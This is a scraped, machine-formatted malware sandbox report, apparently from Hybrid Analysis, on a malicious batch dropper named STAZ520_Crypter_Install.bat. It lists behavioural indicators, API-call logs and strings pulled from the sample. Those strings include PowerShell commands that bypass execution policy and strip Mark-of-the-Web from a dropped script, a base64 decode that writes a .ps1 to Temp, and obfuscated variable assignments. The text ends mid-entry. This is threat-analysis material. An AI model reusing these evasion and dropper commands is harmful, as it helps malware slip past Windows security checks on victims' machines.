26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 55:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4af,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious BAT/TrojanDropper.Agent Sample feda854ecc1a… — Score 85/100 — Hybrid Analysis","description":"Malicious verdict for sample feda854ecc1a…. Malware family: BAT/TrojanDropper.Agent. Threat score 85/100. 1/26 AV engines flagged this file. 7 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/feda854ecc1a6a8c56fb765c2964a5b2a9dbf1cff7ef9149b4e576d4a96e5269","keywords":["Malicious","BAT/TrojanDropper.Agent","malware analysis","sandbox report","threat intelligence","feda854ecc1a6a8c56fb765c2964a5b2a9dbf1cff7ef9149b4e576d4a96e5269"],"about":{"@type":"SoftwareApplication","name":"STAZ520_Crypter_Install.bat","applicationCategory":["script","bat"],"identifier":"feda854ecc1a6a8c56fb765c2964a5b2a9dbf1cff7ef9149b4e576d4a96e5269","additionalType":"Malicious sample"},"threatScore":85,"malwareFamily":"BAT/TrojanDropper.Agent","antivirusDetections":{"malicious":1,"total":26},"behavioralIndicators":{"malicious":7,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T81d,file/memory contains long string with (Indicator: "Set-Content"; File: "STAZ520_Crypter_Install.bat") Found string "powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-Content '!e93cac47d8!' -Stream Zone.Identifier -Value ''" >nul 2>&1" (Indicator: "Set-Content"; File: "STAZ520_Crypter_Install.bat") Found string "Set-Content 'C:\Users\HAPUBWS\AppData\Roaming\Microsoft\118f410eb6ac\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''" (Indicator: "Set-Content"; File: "AMSI") Found string "powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-Content '%APPDATA%\Microsoft\118f410eb6ac\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''"" (Indicator: "Set-Content"; File: "powershell.exe") Found string "Set-Content 'C:\Users\HAPUBWS\AppData\Roaming\Microsoft\118f410eb6ac\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''" (Indicator: "Set-Content"; Source: "00000000-00001132.00000000.134891.5C400000.00000004.mdmp, 00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000000.134891.5DE10000.00000004.mdmp, 00000000-00001132.00000001.135191.5C400000.00000004.mdmp, 00000000-00001132.00000001.135191.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp, 00000000-00001132.00000001.135191.5DE10000.00000004.mdmp, 00000000-00001132.00000001.135191.76A70000.00000004.mdmp") Found string "powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-Content 'C:\Users\HAPUBWS\AppData\Roaming\Microsoft\118f410eb6ac\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''"" (Indicator: "Set-Content"; Source: "00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C440000.00000004.mdmp") Found string "HostApplication=powershell -NoProfile -ExecutionPolicy Bypass -Command Set-Content 'C:\Users\HAPUBWS\AppData\Roaming\Microsoft\118f410eb6ac\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''" (Indicator: "Set-Content"; Source: "00000000-00001132.00000001.135191.5C470000.00000004.mdmp, 00000000-00001132.00000001.135191.76850000.00000004.mdmp")28:T9d2,"cmd.exe" queried SystemProcessInformation at 00000000-00002212-00000C15-1102914996 [PID: 2212] "cmd.exe" queried SystemProcessInformation at 00000000-00002212-00000C15-1102930779 [PID: 2212] "cmd.exe" queried SystemProcessInformation at 00000000-00002212-00000C15-1103419736 [PID: 2212] "cmd.exe" queried SystemProcessInformation at 00000000-00002212-00000C15-1103427335 [PID: 2212] "cmd.exe" queried SystemProcessInformation at 00000000-00003400-00000C15-1104357657 [PID: 3400] "cmd.exe" queried SystemProcessInformation at 00000000-00003400-00000C15-1104364615 [PID: 3400] "cmd.exe" queried SystemProcessInformation at 00000000-00003400-00000C15-1104804591 [PID: 3400] "cmd.exe" queried SystemProcessInformation at 00000000-00003400-00000C15-1104823320 [PID: 3400] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1105942293 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1105949894 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1108258199 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1108265994 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1109494309 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1109501413 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1109936977 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1109944377 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1110095427 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1110103039 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1112662903 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1113425823 [PID: 1132] "powershell.exe" queried SystemProcessInformation at 00000000-00001132-00000C15-1113433882 [PID: 1132] "reg.exe" queried SystemProcessInformation at 00000000-00007468-00000C15-1115761022 [PID: 7468] "reg.exe" queried SystemProcessInformation at 00000000-00007468-00000C15-1115768753 [PID: 7468] "reg.exe" queried SystemProcessInformation at 00000000-00007468-00000C15-1116171048 [PID: 7468] "reg.exe" queried SystemProcessInformation at 00000000-00007468-00000C15-1116178240 [PID: 7468]29:T69c,file/memory contains long string with (Indicator: "FromBase64String"; File: "STAZ520_Crypter_Install.bat") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AB0000.00000004.mdmp") Found reference to API "48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath 'C:\Users\HAPUBWS\AppData\Local\Temp\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}" (Indicator: "FromBase64String"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000000.135868.82C50000.00000004.mdmp, 00000000-00003984.00000000.135868.84580000.00000004.mdmp, 00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp, 00000000-00003984.00000001.136212.82C50000.00000004.mdmp, 00000000-00003984.00000001.136212.84580000.00000004.mdmp, 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp, 00000000-00003984.00000001.136212.9D0B0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003984.00000001.136212.82AD9000.00000004.mdmp")2a:T417,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: YARA signature match – Encryption algorithm Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Script contains XOR (Antimalware Scan Interface) Matched sigs: The input file contains long base64 encoded strings Matched sigs: YARA signature match - RC4 Encryption2b:T2272,"cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000000000000000000000000000000000000b8e855d9a600000018000000a6000000f7436fece29700009f54c01bf2010000180000000000000050e855d9a6000000c056bf1bf2010000d04fc01bf20100001c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000009b6afe7f0000a60984d86aba0000e0469b6afe7f0000a054c01bf201000098069c6afe7f0000a0e2bf1bf201000000000c69fe7f00000000000000000000e0469b6afe7f00000300000000000000f385696bfe7f00006e479b6afe7f00002766696bfe7f000090e855d9 (UID: 00000000-00002212) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002212) "cmd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002212) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000000000000000000000000000000000000d8e4f0281e000000180000001e000000bf63c9e7724f00002f806f320b020000260000000000000070e4f0281e00000070836f320b020000c0786f320b0200001c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000009b6afe7f000048b1e366d22f0000e0469b6afe7f000030806f320b02000098069c6afe7f0000906d70320b02000000000c69fe7f00000000000000000000e0469b6afe7f00000300000000000000f385696bfe7f00006e479b6afe7f00002766696bfe7f0000b0e4f028 (UID: 00000000-00003400) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003400) "cmd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003400) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001132) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001132) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938f068fe7f000080000000000000000000000000000000301187768e01000010336c6bfe7f000000000000000000000000e36afe7f000090d9f75f7d0000001041ed68fe7f0000d0f0525c8e01000050d9f75f7d000000000000000000000000000000000000000100000000000000b840ed68fe7f0000060000000000000001000000000000000000e36afe7f00003b4db468fe7f0000000000000000000008def75f7d0000000000000000000000d02af56afe7f000010b35b6bfe7f0000e8f8ec68fe7f000010b35b6bfe7f0000d02af56afe7f00000d000000fe7f00000d00000000000000a0f64b6bfe7f0000f587f06afe7f0000d02af56a (UID: 00000000-00001132) "reg.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000000000000000000000000000000000000d8e66d74ca00000018000000ca000000d76d00b8f39500004fa79bf3af020000060000000000000070e66d74ca00000010869af3af020000e0a59bf3af0200001c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000009b6afe7f0000d9e05e75d12f0000e0469b6afe7f000050a79bf3af02000098069c6afe7f000050089cf3af02000000000c69fe7f00000000000000000000e0469b6afe7f00000300000000000000f385696bfe7f00006e479b6afe7f00002766696bfe7f0000b0e66d74 (UID: 00000000-00007468) "reg.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007468) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003984) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003984) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938f068fe7f000080000000000000000000000000000000c082fd9c4c02000010336c6bfe7f000000000000000000000000e36afe7f000030d42fe87e0000001041ed68fe7f0000d0d3b9824c020000f0d32fe87e000000000000000000000000000000000000000100000000000000b840ed68fe7f0000060000000000000001000000000000000000e36afe7f00003b4db468fe7f00000000000000000000a8d82fe87e0000000000000000000000d02af56afe7f000010b35b6bfe7f0000e8f8ec68fe7f000010b35b6bfe7f0000d02af56afe7f00000d000000fe7f00000d00000000000000a0f64b6bfe7f0000f587f06afe7f0000d02af56a (UID: 00000000-00003984)2c:T46c,"powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000070fc525c8e010000c0fb9b42fe7f00000001000000000000b8fb9b42fe7f0000000000000000000080cb916afe7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a9b42fe7f00000000000000000000b8fb9b42fe7f000000000000 (UID: 00000000-00001132) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000010dcb9824c020000c0fbad57fe7f00000001000000000000b8fbad57fe7f0000000000000000000080cb916afe7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1aad57fe7f00000000000000000000b8fbad57fe7f000000000000 (UID: 00000000-00003984) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000010bd4e8d47020000c0fbaa46fe7f00000001000000000000b8fbaa46fe7f0000000000000000000080cb916afe7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1aaa46fe7f00000000000000000000b8fbaa46fe7f000000000000 (UID: 00000000-00008016)2d:T5eb,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2e:T1273,Found string "set 64ded73fc100a94e1e38c9879cf7317db7016becce04253a97d16d97d11b=15678a732d8c5a12b709c1a6e62d823c0291f07b14eafcb071" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set cbd684252755338c53370489346e66257ed9f58f82e91fed74a58ba74955=ef9b3354e7b37217753e27df56abc5a1a9a1c4c232d25a6854" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set d7cea312421d40f1d22a75217fe2a013efb171feb0bd5183a9c37d900bbf=439d758259bb38a97559abe16d23bd2a3eb0736fe6d23ce894" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 667cc19019371501ffb40efacb782ab6c91c41f7789303c10136f15a0eec=2bb5fc85bafcc36a5119eae3c278568e88b4fe6106edf5f08f" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 19d85c7db76b99c2596d4a1df84b433e05bddc8fd04d078d4d01db7f2c3f=c6bc9d10f8d50e99809d944eae93946a4169f05d7ebe589115" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 3ff257e18e3ecdf390ed7b7f1f0559edae2a16fed3f24464917e57bfac3c=12ddfcd9f11eaac18f99e4bfaa4c96412124662b0c9bfbb205" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 1fe70839e7c84d76f944a52f363e1473b98310f30f662f9c270ef4df51b2=128033fb4723498cf27cedb121c1bf54381a89f7ffafe985eb" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 47a58ed590ab6cec33a7f56ecd64ec6477d495f0aa1103f37afa83720297=dd877a33db1058fdc2cfab7c191a4686eff90a56261925f048" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set faa5617bde07c80e2bb2d9402c8aacf64980ac856375acdaf79a078f050d=64404bdb5362f280588deb6860ca6b81d5aa9ee12968023a7d" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 31369a93f8aec0a1b9fcf3860c5e0d4850620eb39a431bc2fbbd54632f68=90ec04c765159f2b39754096418fea50bea74697191bb34634" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 34ca6a47794b69efeedf7e275041811fbd0c863705bb3d93b77fa94e9849=966f6bffb640d5b5c4ca48ac43832e6e41bd39ff445c27fa91" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set f10ac33042758e66f7a87cbe7910ca748fc03666c08baa2ae8fd52ab2c19=12408c831085545fbb394312f5bf6abde052dc283fcf216a6d" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set b1b91ebae9b4895d0936844a0ed37229ce31d1163540f50cd9bcd9bea06e=f23a592bc19d83aac9feb92d5d592fb6bfbbfb93479b00740e" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 89666fd7a478d91c8add968015be3d48d9b0794c17bf5291aa2a7718e5ed=8551d1d67d9a5d70a1cee8d1d5a23726816d9f62012c1c6e67" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 5e84ffc9460c04c465aa8e44fc7f558e08f2ad2af52d3971511be36dc66c=d00caed4ad1f0ca93507665b54afa1d1c0679e16c91c09e443" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set a214dccc9a6265b95ad30123f62edc68b4910650bb81dcfc626d407c75a3=ba909182ff3c579ed112b0e13c614ddb87f97de565d8072763" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set a3d6c57e0fca4f56ff64723859310c66b76293d5087bd63b1369e0bb3459=d2a863ab5dc7b3518193b3ee87a14311626b9fbe44af020283" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 4a8a972b501369efa6f81d1768b02a20180fa90ccf031dbbc53ba9751fe8=c48f9cb535e245a421d905dcdebcf2eb70d3bf9b17f268149e" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 9098ce18fa0346f8a732f01a2ac5d4a6bd72914fbcce2c22c679df3875da=e1507be71e28202e5e9b4cae66b0c61c3d4f665c173e15cf06" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set b4fa10a3aded9a04961ccbaad6f85216dca2a33cc1f10c72b44ff5028940=14f1a93ca01114b644bd60340326ff08bccf880e7ce7ae4e1d" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 1f39f256f798f8f72b4c87607fdeb8523f90e86b1ed6f23704512bab6b4a=4b472774800b58846a18d7c9cae442183ba71306c517bc4b80" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 0fa09bbd7ab7c60a1411fe96abed6d07735703e1337b0586fc7817d0186f=21f7e188ceb75e3914a6a37bce823e2b9269458e3f738de96d" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 006f87e568376776642204e4582a60ac40163ade02db1d45e6fcb3a3704f=732ddbfe5ceb485e14b503f5a9aefd525a01b367a55e1fbd76" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 3cf2ad92a4ab303c2cec7fd98e82b1b7a48f1ffd7795058b5a14b2dfd02f=d636831def0945cd6642b325da091b5b7675e363fd52a17acd" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat") Found string "set 4fb2dfe8650c44db679f4dcb7d642d2b3b6912297410f452903f3a5f5f72=e383acda9c6ba8a2b91f4ae238eb2b26cd515ffcca3865aa74" (Indicator: "set "; File: "STAZ520_Crypter_Install.bat")2f:T11c8,"cmd.exe" queries volume information of "C:\" at 00000000-00003400-00000C17-1104996060 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001132-00000C17-1111185529 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00001132-00000C17-1111856787 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001132-00000C17-1112206752 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001132-00000C17-1113123846 "powershell.exe" queries volume information of "C:\" at 00000000-00001132-00000C17-1113703568 "powershell.exe" queries volume information of "C:\share" at 00000000-00001132-00000C17-1113705393 "powershell.exe" queries volume information of "C:\share" at 00000000-00001132-00000C17-1113830240 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001132-00000C17-1114430057 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00003984-00000C17-1125731640 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00003984-00000C17-1126719795 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003984-00000C17-1126901533 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003984-00000C17-1127910475 "powershell.exe" queries volume information of "C:\" at 00000000-00003984-00000C17-1128364841 "powershell.exe" queries volume information of "C:\share" at 00000000-00003984-00000C17-1128366645 "powershell.exe" queries volume information of "C:\share" at 00000000-00003984-00000C17-1128499243 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00003984-00000C17-1129187103 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00003984-00000C17-1129937077 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00003984-00000C17-1130105884 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00003984-00000C17-1130179414 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00008016-00000C17-1137235912 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00008016-00000C17-1137976800 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008016-00000C17-1138276287 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00008016-00000C17-1139343202 "powershell.exe" queries volume information of "C:\" at 00000000-00008016-00000C17-113975829230:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: 